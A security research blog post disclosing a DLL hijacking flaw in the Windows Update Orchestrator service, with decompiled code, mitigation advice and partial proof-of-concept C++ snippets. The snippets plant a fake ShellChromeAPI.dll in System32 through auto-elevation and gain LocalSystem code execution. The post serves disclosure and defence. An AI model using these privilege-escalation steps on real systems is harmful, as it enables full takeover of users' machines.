Preface
This one doesn't go any simpler than this. Remember DLL hijacking
kids?
That thing that we used to do in Windows XP?
Well, it's now 2021 and that technique is still around. Moreover, at times the hijacked application happens to be one of the important
processes in the system that is supposed to provide security for the operating system - Windows Update Service, also known as
"Update Session Orchestrator Service".
So read below for our overview of the bug, our accompanying research and ways of exploitation, as well as how we can mitigate this bug.
Note that this bug, along with the demonstration PoC, was submitted to Microsoft on September 3, 2020, following responsible disclosure guidelines. This blog post became available for the public only after Microsoft refused to fix this bug, and we provided our proposed ways of mitigation.
And lastly, if you're not into reading and just want to see this bug in action, skip to the video demonstration.
The Research
While researching material for our previous blog post on indefinitely postponing updates on Windows 10, Rbmm and I happened to come across an interesting chunk of code. The goal of our research was to locate the part of the code responsible for automatic restart of the operating system after installation of updates. We were trying to prevent those automatic restarts.
There are basically three functions that could reboot the system from the user mode:
InitiateShutdown
, with a more dumbed-down counterpart
InitiateSystemShutdownEx, that both call the
undocumented function advapi32!WsdpInitiateShutdown
:
DWORD WINAPI WsdpInitiateShutdown(
LPWSTR lpMachineName,
UNICODE_STRING* Message,
DWORD dwGracePeriod,
DWORD dwShutdownFlags,
DWORD dwReason);
And ExitWindowsEx
, that is designed to be called from a
process running under an interactive user account. It doesn't do any of the shut-down work itself, but instead it relegates it to
CSRSS via CsrClientCallServer
call.
Having done some breakpoint magic, Rbmm was able to determine that the automatic rebooting after installation of Windows 10 updates could be done in two places.
From the MusNotificationUx.exe
UI process and inside USOsvc.dll
, which is the main executable module for the Windows Update Service.
Judging by the set of methods, it seems like both modules use the same code base. The internal function that was initiating a reboot in them was called RebootWithFlags
.
And the restart itself is done using the expected InitiateShutdownW
API as such:
NTSTATUS RebootHelper::RebootWithFlags(ULONG /*dwShutdownFlags*/, ULONG /*dwMilliseconds*/)
{
NTSTATUS status;
NTSTATUS status_2;
DWORD dwResult;
//Enable SE_SHUTDOWN_PRIVILEGE
status = AdjustProcessPrivilege(0, true);
if (status >= 0)
{
if (ShellReboot() >= 0)
{
Sleep(120000); //Wait for 2 minutes, hah!?
}
//0x2087 = SHUTDOWN_FORCE_OTHERS | SHUTDOWN_FORCE_SELF | SHUTDOWN_RESTART | SHUTDOWN_RESTARTAPPS | SHUTDOWN_ARSO
//0x80020010 = SHTDN_REASON_FLAG_PLANNED | SHTDN_REASON_MAJOR_OPERATINGSYSTEM | SHTDN_REASON_MINOR_SERVICEPACK
dwResult = InitiateShutdownW(NULL, NULL, 0, 0x2087, 0x80020010);
if ((dwResult == 0) || (dwResult == 0x45b)) //0x45b = ERROR_SHUTDOWN_IN_PROGRESS
{
Sleep(-1); //Hang....
status = 0x8024a11a;
}
else
{
status = HRESULT_FROM_WIN32(dwResult);
}
//Revert back SE_SHUTDOWN_PRIVILEGE
AdjustProcessPrivilege(0, false);
}
return status;
}
On the side note: What was also interesting is that the initial prototype of this function wasRebootHelper::RebootWithFlags
, as I showed above. It was written in C. But in the latest versions of Windows 10 Insider Preview it looks like Microsoft has re-written it in C++11 (with some of its internal debugging components.) So now that function is declared asWindows::RebootWithFlags
, although the main logic inside hasn't changed significantly.
It also seems to have been hardened with the new generation of the code for Control Flow Guard (currently referred to as XFG, or "Extended Control Flow Guard".)
void Windows::RebootWithFlags(UINT reserved, duration<__int64,struct_std::ratio<1,1000>_> wait_duration)
{
shared_ptr<class_SystemInterface::Service::System> sSrvc;
BOOLEAN cRes3;
DWORD dwResult;
void **pplVar;
size_t duration;
shared_ptr<class_Windows::CoreOS::Usage> localService1;
shared_ptr<class_Windows::CoreOS::Usage> localService2;
runtime_error rtError;
AdjustProcessPrivilege(0, true);
sSrvc = GetSystem((Service *)localService2);
//Call to member functions of 'sSrvc' & 'pplVar' using Extended Control Flow Guard - XFG
pplVar = __guard_xfg_dispatch_icall_fptr(*(sSrvc->vTable + 0x40), *(void**)sSrvc, &localService1);
cRes3 = __guard_xfg_dispatch_icall_fptr(*(pplVar->vTable + 0x38), *(void**)pplVar);
~shared_ptr<class_Windows::CoreOS::Usage>(localService1);
~shared_ptr<class_Windows::CoreOS::Usage>(localService2);
if (cRes3 == 0)
{
ShellReboot();
duration = 2;
sleep_for<int,struct_std::ratio<60,1>_>((duration<int,struct_std::ratio<60,1>_> *)&duration);
}
//0x2087 = SHUTDOWN_FORCE_OTHERS | SHUTDOWN_FORCE_SELF | SHUTDOWN_RESTART | SHUTDOWN_RESTARTAPPS | SHUTDOWN_ARSO
//0x80020010 = SHTDN_REASON_FLAG_PLANNED | SHTDN_REASON_MAJOR_OPERATINGSYSTEM | SHTDN_REASON_MINOR_SERVICEPACK
dwResult = InitiateShutdownW(0, 0, 0, 0x2087, 0x80020010);
if ((dwResult != 0) && (dwResult != 0x45b)) //0x45b = ERROR_SHUTDOWN_IN_PROGRESS
{
wil::details::in1diag3::_Throw_Win32(0x7f,
"onecore\\enduser\\windowsupdate\\muse\\orchestrator\\system\\windows\\servicesystem\\reboot.cpp",
dwResult);
DebugBreak(); // int 3
return;
}
sleep_for<__int64,struct_std::ratio<1,1000>_>((duration<__int64,struct_std::ratio<1,1000>_> *)&wait_duration);
runtime_error(rtError, "Reboot timed out");
_CxxThrowException(rtError, (ThrowInfo *)&AVlogic_error);
}
So let's forget about more complex C++ code snippet and instead concentrate on a simpler C sample (the first one above) as all those constructors and destructors that came with the C++ code are just distracting for our purpose.
Code Review
At first glance there's nothing unusual with what they are doing there. The call to internal function AdjustProcessPrivilege
enables the
SE_SHUTDOWN_NAME
privilege for the
process, which is needed to initiate a restart. Then the call to
InitiateShutdownW
initiates the reboot itself. Since that function works asynchronously the execution returns back to us.
If we succeed, or if the shutdown is already in progress, the function enters an infinite waiting loop with the call to
Sleep(-1)
.
Otherwise, it reverts the SE_SHUTDOWN_NAME
privilege in the second call to AdjustProcessPrivilege
and exits.
While reviewing it though, we also noticed that the code called another internal function ShellReboot
. We checked that as well. Here's what it does:
NTSTATUS ShellReboot(void)
{
HMODULE hModule;
FARPROC pFunc;
NTSTATUS status;
//0x800 = LOAD_LIBRARY_SEARCH_SYSTEM32
hModule = LoadLibraryExW(L"ShellChromeAPI.dll", NULL, 0x800);
if (hModule == NULL)
{
status = HRESULT_FROM_WIN32(GetLastError());
}
else
{
pFunc = GetProcAddress(hModule, "Shell_RequestShutdown");
if (pFunc == NULL)
{
status = HRESULT_FROM_WIN32(GetLastError());
}
else
{
//Call function in loaded DLL
(*pFunc)(1);
status = 0;
}
FreeLibrary(hModule);
}
return status;
}
Again, at first glance this looked like a normal call to a function inside a DLL that was resolved dynamically, or during a run-time.
This is a normal technique of invoking a function that may not be available on all systems. If ShellChromeAPI.dll
is not available, a call to LoadLibraryEx
, or
GetProcAddress
will return NULL
and Shell_RequestShutdown
will not be called.
But loading DLLs like that comes with a risk of a vulnerability known as "DLL Hijacking". It has existed since early days of Windows 2000, or maybe even earlier.
Rbmm was the first one to check, and to his amazement he discovered that the DLL that the ShellReboot
function was attempting to load wasn't present.
(I admit that I was slower to catch on.) That was a classic case of DLL hijacking.
The Danger
If an attacker is able to hijack a function inside the Windows Update Service, this will have the following ramifications:
- Since Windows Update Service runs with credentials of the
LocalSystem
, this means that being able to execute code from within it grants an attacker full access to the system. - Because of the way
ShellReboot
was called, i.e. literally right before initiating the system reboot, many of the built in anti-malware services may be also in the "winding-down state", or getting ready for a system reboot. This would make it even more challenging for tracking down any suspicious activity that an attacker may undertake. - And I don't have to mention that running an attacker-controlled code from within a highly trusted system service, such as Windows Updates, may even further complicate detection of the malicious code.
- Moreover an attacker would have any needed amount of time inside the hijacked
ShellReboot
function to potentially download and install any trojan/malware on the system, that could be activated after a reboot, or even later. - Additionally, the user would generally not expect any malicious activity during installation of Windows updates or at a restart stage.
DLL Hijacking
For some weird reason the ShellChromeAPI.dll
no longer exists in the System32 directory. We tried searching for any information about it online,
and a few sparse references to that DLL
indicated that it might have been used at some point to provide functionality for now defunct Windows Phone.
It also seems like after that product was phased out, Microsoft, no doubt maintaining a common code base for Windows, removed that DLL from the System32 folder.
But they did not remove the function that was loading that DLL. Their code continued to work - for instance, the LoadLibraryExW
in the ShellReboot
function would return NULL, or failure, and the entire function would also fail with the error code 0x8007007E
, or
"The specified module could not be found".
And thus, my guess is that during their testing it didn't raise any red flags since it didn't break anything. But it created a vulnerability for a hijack.
Since ShellChromeAPI.dll
no longer existed in the System32 directory, due to a very
convoluted way Microsoft loads DLLs, anyone could place their own
version of that module in some writable location, modify the PATH
directory to point to it, and then have Windows Update Service load and execute the code in it
from their own ShellReboot
function.
But as you can see above, while attempting to load the ShellChromeAPI.dll
module, Microsoft implemented one way of protecting against
DLL hijacking by specifying the LOAD_LIBRARY_SEARCH_SYSTEM32
flag:
LOAD_LIBRARY_SEARCH_SYSTEM32
If this value is used, %windows%\system32 is searched for the DLL and its dependencies. Directories in the standard search path are not searched.
So that stops an easy hijack. But it still doesn't keep their head above the water yet.
"Auto-Elevation Mechanism"
Windows is a very complicated and legacy-bound system. At times you may find some old component, or technique that is so outdated and weird that it makes you wonder, "Why, Microsoft? Why!"
Here's one example of such technique, that was called "Auto-Elevation Mechanism" described by Mark Russinovich back in 2006. It would basically allow a user running with implicit administrative rights to bypass UAC elevation prompts when copying files into a system folder, if such files did not exist before. I guess it was done for convenience, hah?
But if you think about it, this is exactly what we need to place our fake ShellChromeAPI.dll
into the System32 directory to complete the DLL hijacking.
The Exploit
Our Proof-of-Concept (PoC) project that we submitted to MSRC as our responsible disclosure bug report consisted of several steps to gain local privilege escalation:
Deploying Fake ShellChromeAPI.dll
The first step was to copy our fake ShellChromeAPI.dll
into the System32 directory. We couldn't obviously call
CopyFileEx
from our PoC process, as it wasn't running elevated.
That would return ERROR_ACCESS_DENIED
.
But, we could use the "Auto-Elevation Technique", mentioned above, to bypass it.
But for that to work, our code had to be running in the system process. Mark Russinovich implied that such could be achieved with the use of code (or DLL) injection.
But Rbmm recommended a different approach. Why not "fake" our DLL to load itself into
RegSvr32
as if it was
an OLE control registration. All we need to do is to create a DllRegisterServer
exported function from within our ShellChromeAPI.dll
and call RegSvr32
on it.
extern "C" HRESULT WINAPI DllRegisterServer()
{
//Fake OLE registration function
//All we need is for it to be running from within a system process, i.e. RegSvr32
return S_OK;
}
That will make our code run in the system process, i.e. RegSvr32
. Next we can implement the "Auto-Elevation Technique" from within it to copy our own file
into the System32 folder. To know where our DLL is, we can do:
WCHAR buffSelf[MAX_PATH] = {};
GetModuleFileName((HMODULE)&__ImageBase, buffSelf, _countof(buffSelf));
And then use IShellItem
to get our destination:
HRESULT hr
IShellItem* psiDestinationFolder = NULL;
PIDLIST_ABSOLUTE pidl;
if(FAILED(SHGetKnownFolderIDList(FOLDERID_System, KF_FLAG_DONT_VERIFY | KF_FLAG_SIMPLE_IDLIST, 0, &pidl))
__leave;
hr = SHCreateItemFromIDList(pidl, IID_PPV_ARGS(&psiDestinationFolder));
ILFree(pidl);
if(FAILED(hr))
__leave;
//...
psiDestinationFolder->Release();
Then use IFileOperation
to copy our DLL into the system folder:
//IFileOperation *pFileOp;
pFileOp->SetOperationFlags(FOF_NOCONFIRMATION | FOF_NOERRORUI | FOF_NOCONFIRMMKDIR| FOF_FILESONLY | FOFX_EARLYFAILURE | FOF_RENAMEONCOLLISION);
if(FAILED(pFileOp->NewItem(psiDestinationFolder, 0, L"ShellChromeAPI.dll", buffSelf, 0)))
__leave;
if(FAILED(pFileOp->PerformOperations()))
__leave;
BOOL bFail;
if(FAILED(pFileOp->GetAnyOperationsAborted(&bFail)))
__leave;
if(!bFail)
__leave;
DbgPrint("Dll has been deployed!\n");
There's a slight caveat for the code above. If theShellChromeAPI.dll
file already existed in the System32 folder, theIFileOperation
will create a renamed copy of it, which we obviously don't want. (This may happen if we re-run the exploit again.)
To address this we can delete our previously existing DLL usingIFileOperation::DeleteItem
call. It will not succeed if there was an actualShellChromeAPI.dll
in the system folder because of its security descriptor. Remember that our process isn't running elevated!
Additionally, a condition for the "Auto-Elevation Technique" to work surreptitiously is for the Windows user, that runs our PoC, to be a default administrator. Such default administrator account is created immediately after installation of Windows. But realistically speaking, how many people change user accounts after installation of OS?
Otherwise running the code above under a Standard user account will produce the following UAC prompt. But even still, notice how deceptive that prompt is. It says, "Verified publisher: Microsoft Windows", or in other words, "Microsoft is trying to run something on your computer." So how many people would just clickYes
to it?
At this point, if malicious ShellChromeAPI.dll
is deployed in the System32 directory, an attacker can only sit and wait for the Windows to install updates and reboot.
And knowing how "anal" Microsoft is about forcing reboots after installing updates, he or she doesn't have to wait long...
In case of our PoC we didn't want to wait for the next update, so Rbmm found a way to force theShellReboot
function to be called on demand via undocumentedIUxUpdateManager
orIUxUpdateManager2
interfaces and theirRebootToCompleteInstall
functions.
The Prep Work
There's one more thing that needs to be accounted, for this exploit to work. Knowing that Microsoft probably reused their code in more than one module,
we discovered that the same ShellReboot
function also existed in other places. For instance, a helper UI process, called MusNotificationUx
, that is responsible
for displaying those (annoying) update notifications, also had ShellReboot
function in it. But unlike USOsvc.dll, that was executing as LocalSystem
, the
MusNotificationUx
wasn't. Thus we weren't interested in injecting our code into it.
We can easily determine whether or not our code is running with the LocalSystem
privileges from within our hijacked Shell_RequestShutdown
function:
extern "C" UINT WINAPI Shell_RequestShutdown(UINT nValue)
{
BOOL bHaveSystemToken = FALSE;
HANDLE hToken;
if(SUCCEEDED(NtOpenProcessToken(NtCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY | TOKEN_DUPLICATE, &hToken)))
{
TOKEN_STATISTICS ts;
ULONG uiDummy;
if(SUCCEEDED(NtQueryInformationToken(hToken, TokenStatistics, &ts, sizeof(ts), &uiDummy)))
{
//#define SYSTEM_LUID { 0x3e7, 0x0 }
static const LUID SystemLuid = SYSTEM_LUID;
if (ts.AuthenticationId.LowPart == SystemLuid.LowPart &&
ts.AuthenticationId.HighPart == SystemLuid.HighPart)
{
//We are running as LocalSystem!
bHaveSystemToken = TRUE;
}
}
NtClose(hToken);
}
return 0;
}
But that presented another small challenge. What shall we do if our injected process was not running as LocalSystem
?
Say, for instance, if our code was called from within MusNotificationUx
process.
We obviously don't want that process to go ahead with the restart if we haven't deployed our exploit yet.
(Keep in mind that initiating a reboot is not a privileged operation, so MusNotificationUx
can do it by itself.)
The way Microsoft coded this process also played in our favor. What Rbmm had discovered is that MusNotificationUx
attempts to initiate a restart first,
and if that fails with a special exit code MACHINE_LOCKED
, then the Update service waits for 5 minutes and initiates the reboot itself. And that is what we want!
The only housekeeping we needed to take care of was to ensure that the restart doesn't succeed in MusNotificationUx
.
There were certain steps that we needed to take in our hijacked Shell_RequestShutdown
to accomplish that:
if(!bHaveSystemToken)
{
//We're not running as LocalSystem
//Let's check that we're running from interactive session (this will include MusNotificationUx)
if(GetShellWindow())
{
//#define SE_SHUTDOWN_PRIVILEGE (19L)
static const TOKEN_PRIVILEGES tp_No_Shutdown = { 1, { { { SE_SHUTDOWN_PRIVILEGE } } } };
//Remove SE_SHUTDOWN_PRIVILEGE privilege, so InitiateShutdown will fail
NtAdjustPrivilegesToken(hToken, FALSE, (PTOKEN_PRIVILEGES)&tp_No_Shutdown, 0, 0, 0);
//And also kill self with a special error code
static const ULONG MACHINE_LOCKED = 0x80000000 | (FACILITY_WIN32 << 16) | ERROR_MACHINE_LOCKED;
ExitProcess(MACHINE_LOCKED);
}
}
The Payload
And finally, if we detect that we are running as LocalSystem
, we deploy our actual payload. In case of our PoC we just displayed the obligatory whoami
command:
Mitigation
After we discovered this bug in September of 2020 and submitted it to Microsoft and they refused to fix it. As a result of that we worked on our own solution for how to patch this vulnerability. I wrote a separate blog post on the subject, as well as Rbmm (read it here) that will provide ways to mitigate it.
Conclusion
There are several lessons that we can learn from this bug:
- For developers - obviously don't leave your orphaned DLLs hanging in your code if you don't use them anymore! Otherwise you will be subjecting your code to a
classic DLL hijacking attack. There's really no better way than removing the code that uses a defunct DLL, or keeping an empty DLL file in place of it.
Additionally, you may consider statically linking to all your DLLs. This way, if you or another team member decides to remove such DLL, the code that uses it will break, which should alert you to fix it.
- For Windows users - it's a classic one too. DO NOT log in as a default administrator for your daily use of the computer! If a user was logged in under a
Standard
Windows account, our exploit would've displayed a UAC prompt that would've alerted you. - And lastly, do not click on UAC prompts for elevation if you don't know where the prompt is coming from,
or if you did not request it. There's a
No
button there too, ya know. 😁
Video Overview
As always, if you want to see this bug in action, watch the following video demonstration: